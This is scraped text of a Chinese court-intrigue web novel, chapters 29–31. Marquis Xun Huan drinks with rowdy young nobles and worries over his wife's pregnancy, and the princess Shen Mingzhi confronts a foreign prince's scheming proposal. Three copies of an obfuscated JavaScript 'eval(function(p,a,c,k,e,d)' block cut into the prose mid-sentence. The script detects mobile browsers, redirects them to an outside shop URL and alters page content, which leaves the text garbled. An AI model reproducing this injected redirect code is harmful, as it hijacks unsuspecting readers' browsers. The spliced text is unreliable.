郇寰一掌推门,就见一圈人围着一张台子,正热火朝天地赌钱,申不极连输了十几把,刚时来运转,正人不人鬼不鬼地呼嚎,就见郇寰考究地立在一边看着他手下的骰子,又考究地盯了盯自己,顿时如同噎住了般吞了声音,讪笑着退了两步,将桌上成串的铜钱一推,“算了,不玩了,你们分了吧。” 一群小纨绔欢叫了起来:“诶?申二爷你转性了?” “呦呦呦,刚才还锱铢不让呢,现在大手一挥够豪放!” 得不到申不极的回应,一群小纨绔奇怪地从赌桌上拔起了头,就见紫袍一袭,正负手立于灯下的那个男人有点面生,但周遭那股子威压的气势却很熟悉,直让他们想起了家里棍棒在手的老子和菁明书院里威严不可触犯的夫子。 永定侯世子滕文彪率先反应过来,尖叫一声:“郇侯!” 见过的、没见过的、听过的、没听过的,同时噤声,万马齐喑也不能这般夸张。那个悄悄扯了下申不极衣袖的年轻人应该是申不极本家的堂弟,用袖子遮遮掩掩朝申不极比了一个倒拇指,嘴角一垮,模样要多蔫有多蔫。 还是见了些世面的瘦高个与美人痣从另一张赌桌上冒了头,热络地打了一个揖:“呦,是郇侯大驾光临,有失远迎,申二爷你也真是的,郇侯要来你也不早说,害我们都没有准备。” 申不极干笑一声,挠挠头,即刻锁定了滕文彪,将人扯到郇寰面前:“喏,今天的大寿星。” 郇寰微笑:“郇某不请自来,还望滕世子见谅,今夜属实不知是世子生辰,两手空空过意不去,这样吧,今夜的酒钱郇侯包了,略表心意。” 众人俱是一愣,随即都不好意思地笑了起来,只有申不极如遭雷劈。 完蛋了,郇寰生气了。 这也不能怪郇寰,只听冬至说申不极请他喝酒,但没说得和这么一群人吃酒赌钱,他今夜心情本就极差,空着肚子从赵王府一路赶到城北,吃了满嘴的风尘,能给出一张笑脸已经是菩萨保佑。 最欢腾的莫过于滕文彪了,看过了申不极的眼色,亲自掀了赌桌命人摆酒上菜,若非郇寰周遭那股子生人勿进的气息未散,当真要挽起袖子与之把酒言欢了。 “我方才看见了宁晨铎。” 申不极接过郇寰手中的酒壶,殷勤地给他斟酒,“哦,宁老七啊?就在隔壁,今天张家那个小八郎做生辰,张八郎不是一向喜欢跟宁七混么,他宁七再‘超凡出尘’也不能拂了张家的面子。” 郇寰没端酒,而是拾了筷子夹了一块花花绿绿不知什么东西混的糕点,“张四郎的弟弟?” 申不极即刻明白郇寰腹内空空,估计是赵王府没留他晚饭,即刻从边上一桌小年轻手里抢了一大盘荤肉。凸颧骨端酒道:“是啊,张四郎的亲弟弟,哦,张四郎也来了,瞧着精神不好,估计和长宁公主之间又有不愉快了。” 瘦高个笑得放肆:“哎呦,这今天一巴掌、明天一唾沫,这要真娶回了家,哎呦,那日子可热闹了。” 美人痣长笑:“热闹不敢说,这伺候公主命都得丢半条吧?” 几个人笑作一团,滕文彪从另一张桌上探出头:“上回我去观华楼还碰见他了,你们猜怎么着?他居然在金屋藏娇!” “不会吧?”众人都大叫起来。 滕文彪啧了一声,推搡一把身边一个赤红色穿得极其张扬的少年,“怎么不会,华屹,当时你不也在,你说说看,那女子是不是有几分姿色,还遮遮掩掩,被我们看见了张老四还生气来着?” 华屹赌钱赌得正上头,胡乱嚷嚷:“是是是!漂亮得赛天仙呢!大!大!大!这回必须是大!” “小!一定得小!小爷我这半个月走的是鸿运!必须得是小!” 郇寰一扫与华屹抢盅的那个小子居然是宣平侯的儿子罗子珪,他微一蹙眉,压低声音质问申不极:“他怎么也在?” 申不极伸长脖子一看,“嗳,不妨事,都是些毛小子只管玩得高兴,谁管各自家里干的什么营生、长辈之间有没有仇?”怕郇寰还不放心,申不极还凑到他耳畔笑道:“他们脑子都不大灵光,成天只知道吃喝玩乐,放心,放宽了心。” 华家和罗家早投了魏王,滕家勉强中立,隔壁的张家正与赵王打得火热,这一层楼、一间房里派别立场就已如一缸子污水,郇寰也被裹挟其中。申不极的话让他想到了寇一爵,寇一爵小看苏悯,申不极小看华屹、罗子珪,郇寰倒不知该说他什么好。 “你不叫名字,我还真认不出。” 申不极又给郇寰斟酒:“嗳,大才子几百年出一个,顶梁柱一家子一个就够,多了反倒打架,我瞧华嵘的这个弟弟就蛮不错的,一个大妹妹和人私奔,一个小弟弟留恋赌场,家里可真是万事太平。” 凸颧骨一口酒喷了瘦高个一脸,“申二爷啊申二爷,您说的真是精妙啊!” 瘦高个捏了拳头刚要招呼凸颧骨,美人痣一把将他下摆胡到了脸上,“二爷您走点心吧,隔壁宁七还在呢。” 申不极笑得痞气:“就是宁七在,这话说了才有意思啊!他大哥与华家大妹妹珠胎暗结,这是事实,怎么还不让人说了?” 郇寰轻轻拍下酒杯,桌上诸人俱缄口,申不极连忙执壶给他满上:“嗳那就不说了,对了,还给海山道喜来着。” 凸颧骨连忙端酒,美人痣即将唱贺,连气头上的瘦高个也撂下了私人恩怨,要敬郇寰的酒。郇寰想到了寇一爵,心中仍然闷闷,摆手谢过,自己端杯一一回了,就听申不极咂吧着酒笑个不停:“今天见着寇一爵了吗?” 美人痣赶忙道:“哎呦,郇侯与公主恩爱有加,可这寇郎中近日当真过得惨惨戚戚,这真是——” “他怎么了?” 申不极支着肩,贱兮兮地笑:“这就说来话长了。话说,自从海山你与公主双宿双飞,这寇一爵的婚事就一波三折。” 凸颧骨舌头打结:“是啊,这寇一爵不是工部那个修什么造的司的郎中吗?好家伙,瞧上了自个儿上司家的孙女,郭尚书,郭阁老,现在阎阁老退休,他就跟首辅一模一样了!” 美人痣接话:“郭阁老的孙女那真是如花似玉,教养得琴棋书画样样精通,年芳二八,韶华正好,这寇一爵就请了家中长辈上门说项,你猜怎么着?”他一拍桌案:“郭阁老当面东扯西扯,扭头将孙女嫁给了兵部杜尚书的孙子杜茂,酒席就定在了六月初,没几天了。” 这是郇寰还不知道的。 郭明修是辅佐圣上一路从潜邸爬上来的老臣,他初入升平官场那年,就已经是工部尚书了,这么多年过去依然稳如泰山。阎野放请辞后,郭明修便从文渊阁大学士升任武英殿大学士,成为升平这一朝状若无物的内阁里的头一号人物,位当“首辅”。 士农工商,商在最末,哪怕寇家出了皇妃,又有了赵王,家中后辈也功名在身,这种出身的印迹一时半会儿也是洗不了的。寇一爵会想着通过联姻实现家族跃升,情理之中,就是这一下子攀得太高, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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几个人爆出一阵欢呼,“就是这锦麟卫指挥副使凌云重!” “哎呦,寇一爵算是踢到铁板喽!” “不过凌副使并未应允,可杜姑娘一腔痴情,寇一爵只能惨淡而归。” “哈哈哈哈,绝了!真是绝了!” 郇寰唇角起了半缕似有若无的嘲笑,“我说呢到处咬人……” “怎么了?”申不极再要给他倒酒,忽听门外三声拍门,进来了一个浑身上下金光闪闪的小公子。少年时代的申不极傲,眼睛长在脑袋上,成天鼻孔看人,这乍然一见这小公子,申不极都要道一声“惭愧”。 申不极认得他,满屋子纨绔认得他,郇寰也认得他。 不知谁嚷了一句:“呦,二爷,你小舅子来了!”郇寰与申不极齐齐回头,就见辛喾傲据地环视屋内一圈,敬滕文彪一杯酒,滕文彪摸不着头脑:“辛喾?我请了你,你不是说有约给我拒了吗?” 一杯酒下肚,辛喾又自己倒了一杯酒,走向还半卧半坐着的申不极:“确实有约,小爷就在隔壁——姐夫,我敬你。” 申不极的眉毛差点收不回来,刚要一伸手随便从桌上捞来一只杯子,郇寰就已经推了一杯酒到他手边。 等辛喾大摇大摆地走了,大敞的门外幽幽传来了一脉琴音,郇寰侧耳听了,居然是《薜荔行》。美人痣不由好奇:“哎呦,二爷,你家这小舅子什么时候与那些风雅之人搅和在一起了?” 申不极自斟自酌很糟心:“天知道呢,估计浪子回头了吧。” “郇侯也在听这曲?”凸颧骨注意到了郇寰的一霎那失神。 郇寰回神:“确实高雅。” 美人痣道:“估计是宁七在弹吧,这小子的琴是不错的,前些日子听说他还从杭州哪个很有名气的斫琴坊搞了一张琴来,还什么千金难买,还得心诚则灵、有缘相会,玄乎至极,不过卖琴的噱头,结果他宝贝得跟什么似的,旁人看上一眼都不允许……” 30. 第三十章 呼延炳 宴至二鼓末了,正经人该走得都走干净了,留下一众嬉戏纨绔闹哄哄地要从隔壁招妓。郇寰撇开醉醺醺的申不极,整理了衣裳,与摇盅拼酒得脸红脖子粗的滕文彪等告辞,这时,申不极强撑开眼睛,朝郇寰叫道:“海山这也走了?” 郇寰瞥了他一眼,叫来了他的小厮申景:“早些送他回去吧,方才辛家小少爷来过,是替你家二夫人敲打他。” 申景道谢,刚要进屋去搀人,就听一旁也醉得黏黏糊糊的凸颧骨傻笑:“郇侯是有家室的人了……” 瘦高个糊涂地笑闹:“诶嘿嘿,申二爷也是有家室的人哎……嘿嘿嫂夫人还是英国公府的……” 申不极这会儿倒突然清醒,一脚踹在那瘦高个的小腿上,在一声哀嚎中,那瘦高个扯到了刚要走开的侍从的袍脚,那侍从正端着的几盅叠得危险的酒皿一歪,剩下的酒水直接洒在还没能走掉的郇寰身上 郇寰眼皮直跳,抽了袖中帕子擦了擦,在侍从紧张慌乱的求饶声中随意地挥挥手,轻声打发了一句“不管你的事”正准备走,就听边上华屹捧着酒碗叹笑:“郇侯生得龙章凤姿,公主殿下貌比天人,想来过些日子要出生的郇世子也是仪表堂堂的公子王孙……得双亲如此恩爱,郇世子当真是羡煞旁人啊。” 罗子珪大笑:“哎哎,不错不错,你瞧瞧咱们高门大户,男女腌臜事一大堆,大都家宅不宁鸡飞狗跳,但郇家就没有这个烦恼啊,毕竟郇驸马‘三从四德’的规矩守得好!” 瘦高个没记申不极的一脚之仇,一副显然是被申不极踹惯了的模样,心思活络,一见申不极黑了脸,顿时醒酒,连忙打断圆场:“郇侯还没尚公主前就洁身自好,尚了公主之后就更是驸马典范、皇亲楷模,我辈叹服——” 郇寰定定看了他们一眼,一言不发,只朝已经坐立不安的滕文彪颔首示意,随即推门出了包厢。门还没关上,他就听见滕文彪大骂:“滚滚滚,不会说话就别说话!听听!你们说的是人话吗……” 冬至迎了上来,“主子?怎么喝了这么多?” 郇寰拂开冬至要扶他的手,靠在栏杆上阖目休息,“去结账,今夜的酒钱我付。” 冬至的眼珠子都要掉下来了,悻悻去时还忍不住嘀嘀咕咕。 郇寰轻声笑了出来。笑过,那种满堂焕彩里的孤寂落寞就不请自来地爬上了心头。他现在脑中空空,不知道在想什么,也不知道去想些什么,只是忽然间方才华屹的嘲讽又响在耳畔。 他又要有孩子了。 可真的,太不是时候了。 郇寰生出了更稠更重的悔意。 沈明枳的身子远不如从前,他们两个的芥蒂也尚未解开,苏州府的事情又出了这么多波折,刑部的事情也天天山堆海积,还有个捅他刀子的寇一爵。他最烦杂事琐事,却不得不为了杂事琐事摧眉折腰、四处奔劳。 最重要的是沈明枳。 有了这个孩子就有了血脉的羁绊,赵王派中对她的疑虑或会消减,她也大抵会舍不得再像代帝南巡这样一人远走。可他想到了远走岭南、抛夫弃子的苏霁,沈明枳这般爱护与她并不同母的弟弟晋王,想来也不会这般冷硬。 但她的身子会彻底地垮下来,年岁不永,疾病缠身。 她骨子里应当是极其洒脱昂扬的人,骤然天地翻覆落入这样的困境,她必然更加失意。 可将这个孩子流掉,大概他们之间再也不会有孩子了。 太不是时候了。 可何时才是最恰当的时候?得了这个孩子,他该诚心诚意上山拜佛烧高香才是,怎能抱怨一切来的都不能恰逢其时? 春为花博士,酒是色媒人。那天他分明没有喝酒,却也拒绝不了她,拒绝不了自己的混账。现在,沈明枳去临川郡主的庄子上躲清闲,他连远远一面都见不上,一句话也没法说。 郇寰长长吐出一口气,刚要下楼去找冬至,就听见隔壁包厢门口有两个人在说话。 “恩师至交爱琴如命,还望祝先生赏脸。” “宁公子的好意,祝某心领了,只是……” “我知道祝先生此行是为了遗思公子手稿而来,宁七曾蒙遗思公子指点,于乐府中亦有旧识,遗思公子既曾暂驻乐府,想来宫中乐府或可寻得公子些许旧迹,宁七虽为外臣,但若真想入乐府探寻一二并非无法,祝先生——” 宁晨铎朝他郑重一拜,朱遗温搀起他,长长叹气:“宁公子,您的这位恩师至交是已经告老的阎阁老吧?” “正是。” 朱遗温再度叹气:“宁公子,祝某在此深谢,只是……家兄之事,萦绕于怀,祝某曾指天发誓,再不为王侯公卿登堂演奏,宁公子痴琴,琴技已登堂入室,多加感悟必有大成。” “先生!”宁晨铎拦住了抽身要走的朱遗温:“宁七有一旧友,非王侯、非公卿,只求与先生一见,宁七的那把‘羊左’就是此友慨然相赠。” 朱遗温诧异:“‘羊左’名琴,余杭旧物,非有缘之人不赠,我以为是阎阁老南巡归程途径杭州所购。” “吾友也曾受遗思公子指点,对于遗思公子的旧事,或略知一二。” 话落,门内也陷入了沉默。 少顷,郇寰听到:“劳宁公子引见。” 郇寰与宁晨铎不熟,但听得出此时,他心中的欢喜无与伦比。 人无癖不可与交,以其无深情也。郇寰剖心自查,历数过自己的从前与当下,骑马射箭、斗鸡走狗、投壶双陆,乃至于书画琴棋,武不能安邦、文不能定国,亦无一为心中所好,真的仿佛除了案牍工作,他郇海山就没有一点爱好。 宁晨铎别过祝先生,走出门也看见了郇寰。 除了阴错阳差拜师朱遗思,他们两个唯一的交集就是沈明枳。 宁晨铎的母亲与中宫乔皇后是闺中密友,两位夫人的交情非同一般,甚至于私底下给两个孩子说过娃娃亲。结亲本来就是她们的玩笑,但看着沈明枳和宁晨铎从小一块儿,相处融洽,也曾真动过这样的念头,但被圣上回绝。可是宫里上下都是以为这青梅竹马的,必然是要白头的。于是,当年,他披荆斩棘终于得以尚主时,京中沸沸扬扬闹了一阵“毁婚另嫁”。 至于圣上不同意的原因,倒不是觉得宁晨铎年纪轻轻、心性不坚、前途不好,而是魏王生母华妃的娘家侄女,也就是有名的才子华嵘的亲妹妹,和宁晨铎的大哥暗通款曲、私定终身。 他们换过了礼节,郇寰本以为宁晨铎不会与自己攀谈,谁料他走了过来,语气艰涩,但不乏诚恳:“给郇侯道喜。” 这么一来,干巴巴无言以对的居然成了郇寰,“多谢。” “劳郇侯代为问殿下安,时候不早了,告辞。” 郇寰沉默回礼。 冬至小跑回来时,正盯着宁晨铎的背影泛疑:“那不是宁七郎吗?诶,主子,您这衣裳这么湿这么一大块儿?哪个不长眼把酒洒了……申二爷是又要睡在这儿吗?我可刚才看见,他小舅子还守在楼下没走呢……” 莫名其妙地,郇寰突然想起了申不极打着他的名头在外藏娇的混账事。 也罢。 “别管了,回府。” 郇寰累极,但寅时还是醒了一次。这是他的习惯,正常情况下,申正时分下衙,自请在衙门里加班加点地干到外城酉末下钥,回来用了晚膳,又再度回到书房,亥时末就寝,三个时辰后,点卯上朝。 阖府上下也已对他这种仗着年轻就胡来的性子见怪不怪了。但他这样拼命,常让府内上下好奇,刑部的活儿真的这么多吗?当官真的这么可怕吗? 他唯一的消遣,约莫是难得休沐时,被申不极拉出去喝酒。仗着年轻,他们起先是一大早出城打猎的,或者去打几场马球,日暮回城就去花街柳巷喝酒看戏,晃荡到半夜才各回各家。 后来郇寰太忙了,有时候休沐日都被王府急事霸占,奔波劳累。有一回听说户部哪位堂官,累了许久打算松快松快,结果当晚喝酒给喝死了。自此以后,他休沐日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514328|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但凡有约能推就推,连申不极的酒宴都懒得去,不是在家读几页书、写几个字,就是整天地睡大觉。 此次从浙江回来,圣上惯例赏了他三天假。沈明枳让人留了话,说他公务缠身,没要事不必出城找她。当然,她是这么嘱咐的,郇寰自然不能这么做。 “主子,肖娘子就安顿在前面那条巷子里,要去看看吗?” 郇寰正翻着手上公文,闻言挑起车帘瞥了一眼那热闹之中略显幽静的巷子,“太医院在外城崇文门附近,这都快到芳林门了,怎么在这里?” “肖娘子自己选的地。不过肖娘子走运碰上了主子您,离了苏州免了死劫,现在入太医院做医婆,十天半个月也不能出宫,远不远也没什么了。主子要去看看吗?” 郇寰放下帘子,“不了,往返一趟耗时不少,再慢吞吞地,万一临川郡主不赏光,你我就得露宿街头了。” 冬至点头应是,半晌,他又惊奇道:“咦?莫非那就是义律来的呼延世子?” 郇寰探头看了过去,长街上哪有呼延炳打马而过的身影。 “坏了!”冬至猛一拍脑门,把郇寰也吓了一跳:“一惊一乍地做什么?” “主子!我的罪过我的罪过……” 郇寰黑了脸:“究竟怎么了?” 冬至哭丧着脸道:“您不是让我打探近来京中风云么,我才知道这呼延世子居然在宫里胡言乱语,说什么朝中为着和亲公主的人选争吵不断,他有一提议,还什么皆大欢喜的好办法……” 郇寰凝眉:“什么争吵?什么办法?” 冬至不敢看郇寰的眼睛,支支吾吾:“这不,寇妃娘娘和赵王妃常常给长宁公主和张四郎制造相处的机会,结果话不投机,长宁公主打了张四郎一耳光……” 郇寰挑眉:“我以为那是他们随便编排的,居然真有其事?” “然后……然后张四郎回家吵着要退亲,张家当然不答应,本想和王府一起把事情压下去,结果……结果京里又传起了宣国公主的事情……” 郇寰收起了公文,“这是他们自找的。可你说了这么多,与和亲有什么关系?呼延炳又说了什么办法?别吞吞吐吐顾左右而言他!” 冬至萎靡:“是啊,这些事与和亲没有一点关系啊,和亲公主一直都是长荣公主没变过,可……可这呼延炳不知从哪里又挖到了一些事情,说是长宁公主之所以和张四郎恶交,全是因为您!” 郇寰一愣:“这与我有什么关系?” 话落,郇寰浑身一震。 他想起来了! 正此时,冬至也勉勉强强地开了口:“外头说,您与长宁公主青梅竹马——” 郇寰一记眼刀飞了过来:“我何时与她青梅竹马了?” “是啊,旁人就算说您和申二爷是结拜兄弟这也不算离谱,可长宁公主……” “你继续说。” 冬至叹气:“这还有必要说吗?这当今化隆城里,家有儿孙不成器的,哪一个不把主子您当成激励小辈发愤图强的榜样?自萧太夫人过身,寓居兰陵、苦读三年就科举中第,二甲传胪当年才十八、九,然后授官刑部,一路高升,官至侍郎,最后尚主,门第生彩。纨绔怕您、恨您,闺秀爱您、慕您,长辈夸您、喜欢您。这长宁公主情窦初开,怎能免俗啊?” 郇寰有些头疼地按了按太阳穴。 冬至再叹:“唉,接下来的事情,主子您也知道了。近水楼台先得月嘛,长宁公主也是这么想的,结果不巧,公主殿下那年刚好出了昭文太子的孝,开始招驸马了,然后不就是王爷授意您去争锋,您本不在圣上遴选驸马的名录之列,但谁也想不到这就是水到渠成的事情……凡事要讲究‘长幼有序’,长宁公主还没有及笄,自然要让,可她的脾气只认什么‘先来后到’——外头都说寇妃娘娘爱女心切,就把中宫给公主和宁七郎随意定着玩玩的娃娃亲抖了出来。” 郇寰压着火气问:“还有呢?” 冬至不敢说了。 31. 第三十一章 是蠢人 郇寰冷笑一声:“继续说。” “事情闹得很大,圣上都惊动了,呼延炳就说,大楚和义律要成一家人了,他们理应替圣上分忧,他就提议让……让兖国公主嫁过去,让您娶长宁公主,至于公主怀着的孩子他们也会视若己出……” 冬至说着说着没了声音,就见郇寰靠着车厢,阖上双眼,已然是又被气得心潮汹涌,不禁担心他的身体:“主子……您别气,这就是玩笑话,圣上那么疼爱公主殿下,殿下又怀了身子,刚从南边回来,于情于理都不会做这样荒唐的决定……” “是,朝廷是不会。”郇寰睁开眼,眼中波涛渐熄,可静水无澜,越发深沉,看得冬至都有些怕了,在疾风骤雨来临前不由得缩了缩脖子,谁料郇寰从牙缝里只吐出了一句:“呼延炳这个蠢的。” 冬至一愣。 郇寰冷笑:“他一个胡人如何知道这些?谁敢告诉这些事?明知不可能的事情偏偏扯出来当笑话,意欲何为?” 冬至背上一凉。 郇寰一把拉开车门,迎着逐渐闷热起来的夏风,刚想将心中憋了许久的火气吼了出来,就见芳林门近在眼前,行人熙攘,而驾车的亲卫决然无辜,他只能闷闷地吩咐:“回城,去赵王府。” “天下哪有当爹的真不在乎孩子?”临川笑嘻嘻地啃着桃子。 “没有吗?” 沈明枳想到了圣上。 对于东宫太子来说,圣上当真是一个慈爱的父亲。给尽了太子尊贵和体面过后,让其他兄弟一满十四岁就一穷二白地去就藩,还鼓励他在朝中培植自己的势力、与重臣结交,更又放出话来:“非皇后子不为储,非储不为新帝。” 虽然太子死后,皇子长成,也都回来了。 因为圣上喜欢太子,故而爱屋及乌也看重、提拔东宫的幕僚,诸如梅如故、乔致用、韦不决等,皆发迹于此,至于沈明枳从小到大的荣宠,大概也归功于他。 可魏王、赵王、燕王、吴王,他们不都是圣上的儿子吗?长宁、长乐、长荣、长华,她们不也是圣上的女儿吗?天下当爹的真的都在乎孩子吗?他们只在乎他们喜欢的孩子,只在乎能给他们脸上增光的孩子,只在乎乖巧听话不用费心的孩子。 这么看来,他们其实只在乎他们自己。 “有的话应该是畜生。”临川扔了桃核,用帕子擦了一把脸,直勾勾地看着花树掩映之中,紧紧相拥的年轻男女。 沈明枳将胡思乱想都搁置了下来,“那张四郎应该不是了。” 临川摊摊手:“诶,谁知道呢?我可怜的长荣妹妹那么小他都下得去手,啧啧,就怕有胆偷腥没胆子负责。” 沈明枳被她这话一激,想起了一些事情,“林十郎也那么小,你不也下得去手。” 听见沈明枳嘲讽她最近又忽悠了的一个小郎君,临川撇了撇嘴,不自然地转移话题:“话说,这都几月了,长荣这丫头还打算捂到何时啊?” “当然要捂到捂不了的时候。” 说话间,身后有人穿花拨叶走了过来,两个人猛回头,来者竟然也被他们吓了一跳,“果然是你。” 那生涩的语气,闪耀的淡色瞳孔,微卷的头发,麦色的肌肤,让沈明枳一下就认出来人是当时在宫里匆匆一瞥的义律世子呼延炳。 沈明枳笑着一礼退开几步,高声道:“原来是义律世子,失礼了。” 不远处的一对鸳鸯顿时扑棱。 在化隆的几个月,呼延炳已经认识了这位臭名昭著,不,大名鼎鼎的临川郡主,入乡随俗地和两个人见礼:“兖国公主安,临川郡主安。” 临川很戒备,“世子今日有空来会芳池赏景啊。” 呼延炳虽然汉话说得不怎么样,但理解力很好,“是啊,我来会芳。” 然后目光灼灼地注视沈明枳。 沈明枳一惊,心中泛起了恶心。 她有自知之明,自己哪里都算不得出众,除了南巡一趟身份越发贵得吓人,她一个已婚女子何德何能能引来义律世子这样赤裸裸的目光。 临川直想撕了呼延炳,他这么一说就搞得像自己放火烧到了沈明枳身上。她很怕沈明枳发火,也很想逃之夭夭,但她更怕撂下沈明枳会惹上数不清的麻烦,故而她强作镇定,用皮笑肉不笑的脸挡住呼延炳热烈的目光,“哦,世子好兴致,那我们就不打扰了,您请便,务必要好好赏,毕竟大西北漫天沙子可没有这样的景色。” 随即,她刚要拉起沈明枳的手开溜,就见沈明枳拢了拢袖子,不着痕迹地将手挪开了她一手可抓的范围内,又听呼延炳大笑两声:“是!西北可见不到这样难得的好景色!” 临川咬牙,用力咳了两声想要暗示沈明枳,结果沈明枳居然扫了自己一眼,神色淡淡地打发:“临川,你嗓子不好,去休息会儿吧,别把嗓子咳坏了,我和呼延世子说几句话。” 迎着呼延炳错愕又转为兴奋的眼神,沈明枳从临川身后走了过去,目送心中喷火的临川悻悻而去,随后朝呼延炳微笑:“世子贵干?” 呼延炳先是怔愣一会儿,然后抚掌大笑:“你和你姐姐很像啊!” 发现沈明枳的眼神冰冻,呼延炳笑得更欢畅:“我和她第一次见面的时候,你们说的话、神情,一模一样!” 沈明枳挑眉。 这世子应该比自己还要小两三岁,自己都快忘了大姐姐生前的音容笑貌,他当时才多大,能记得多少?且难道他满化隆地打探自己,就是想拿大姐姐的旧事来羞辱自己? 见沈明枳不说话,呼延炳继续道:“这几天我可一直都在找你呢。” 沈明枳不动如山。 “听说这些天,贵朝为着和亲公主的人选争吵不断,我就说,有一个皆大欢喜的好方法。” 沈明枳一抬眼,这是她没听说过的新鲜事。 呼延炳大笑:“我说让兖国公主嫁过来,那个什劳子暴脾气公主嫁给化隆城赫赫有名的郇侯,郇侯本事大,再爆的脾气都压得住,这样义律高兴,你们大楚也高兴。” 一息。 两息。 三息。 沈明枳错愕挑眉。 这呼延炳莫不是是个傻的吧? 他能洞悉这些往事简直是痴人说梦,明摆着是有人唆使;而他没来由胡闹一通于义律毫无裨益,是个脑子清醒的都不会甘心给人当枪使还乐颠颠不知所以。 沈明枳凝神。 她与寇妃等糊涂女人结了不少梁子,现在因为南巡的功劳在圣上面前越发得宠,赵王一派也借机水涨船高,就在一切欣欣向荣的时候,郇寰和长宁之间爆了点“丑闻”,让大着肚子的自己入了茶余饭后的闲话,重伤自己与赵王派的同盟的离间之意轻易实现。 而呼延炳口中的“毁婚另嫁”,即让沈明枳和亲而成全长宁之事,则是将民心舆情统统推至了高潮。沈明枳觉得,这几乎就是在隐射长荣、张四郎和长宁的三角之事,是旨在毁了长宁和张四郎的婚事而要成全怀有身孕的长荣,是要送长宁去和亲,是在为此造势。 可长荣之事,除了沈明枳自己和一意促成的临川,还有谁知道? 摆明就是魏王手笔。 但这就说不通了,哪怕长荣不必和亲,长宁被闹得声名狼藉,怎么看该西出阳关的也是成天无忧无虑的长乐啊?难道他们还有什么后手留中未发?不过最让她担心的不是这个,而是临川办事,结果消息漏给了魏王,若不是她手底不严,那就是魏王本身手眼通天。 无论如何,这都不是一件好事。 两耳不闻城中事的沈明枳,被迫回城。 当晚临川撅着嘴要一路相送,却被沈明枳用“锦麟卫神出鬼没”给恫吓了回去。倒不是她不想临川陪她,也不是考虑到临川一个人大晚上的不安全,郡主府上的护卫配置可比亲王,再加上临川的这个性子,良家男子才是最不安全的那些个。 沈明枳只是想静一静。 “那好像是陆都督。” “真不愧是他啊,比三年前还要俊呢。” 夏至和月珰正坐在车厢外,低低的谈笑声顺着门帘流了进来,流入了静心凝神着的沈明枳的耳朵。 陆微这个名字就如同一粒石子投入了沈明枳的心潭,荡漾起一圈涟漪。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514329|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的思绪被这样的惊扰骤然拉远。 沈明枳记得当年,撞破宁大郎和华家妹妹山盟海誓、私定终身的人,就是他陆微。 说起来,陆微也是个可怜人,当年被自己和临川、辛莘推了出来挡了枪,而这位陆都督又是个实在人,被坑了还闷声不响,硬生生受了宁家、华家的诸番为难。 当初,最先发现这对痴男怨女的人,还是最爱在风流地闲逛的临川。辛莘是个比沈明枳还要促狭的人,成天闲极无聊最爱深挖各家的秘闻逗乐子,从临川处知道了这桩新鲜事便起了劲,暗中留意起他们的动向。 后来沈明枳要选婿,很早就算计上了郇寰,但她和宁晨铎从小交情不错,宁晨铎想尚主,又是个死心眼、是一个实诚得近乎傻的人,沈明枳不忍直接去伤他的心,正为此苦恼,可巧临川和辛莘瞌睡之时递枕头。 然后就是某年灯节,辛莘老早就打听到了华家妹妹的动向,正带了临川和沈明枳打算去“捉奸”,谁料遇见了陆微。陆微不是化隆人,又常年戍守边关,对化隆的街巷并不熟悉,正要向人打听去路,就见辛莘泛了坏水,让小厮扮作路人给陆微递了错误的消息,将人往宁大郎和华家妹妹幽会的小巷引去了。 结果可想而知。 她们捡到了一只香囊,里面存着有情人的红线结发,顺理成章地将事情抖落了出去;而宁大郎呢,只见着了陆微,便认为香囊是到了他的手中、是他将事情宣扬了出去。 沈明枳静静回想那夜的经过。 貌似那夜还出了个插曲,就是临川和辛莘跑出那条黑黢黢的小巷时,把她落在后面了,她也不知怎么踩到了什么东西,摔进了墙凹里,结果发现那墙凹里居然藏了一个人!这可比见鬼还要惊悚。一时情急,那人说了什么话沈明枳记不得了,他的声音也在久远的记忆里逐渐模糊。所幸无伤大雅,没有人出来搅局,事情还是顺利地办成了。 车外夏至的声音再度响起:“陆都督现在挂的是兵部侍郎的职吧?也不知道这回评定要花多久,再久一点,陆家的门槛都要被媒人踩破了吧。” 说罢,夏至和月珰笑了起来。 宁远都督陆微几个月前护送义律使节的队伍入京,现在在兵部挂职。 大楚实行“三轮五换”的制度,武将派遣边关满三年,入京朝仪述职,依据军情军绩,决定是调整驻地或者派还原地,如果被派回原来的驻地,五年后回京朝觐述职,必须调动到其他地方。陆微此次回京就是在东北驻满了三年,而西北靖臣将军窦宙因病滞留,于是就让陆都督绕道西北,暂代本应回京述职的靖臣将军护送使节。 武将在京述职,短则三月,长则一年,还有就此被留在中央不再外派的。在此期间,依照军衔,依次在兵部领侍郎、郎中、员外郎的职,参与皇城兵马司和两都兵马的操练管理,不参与兵部实际的日常运作。 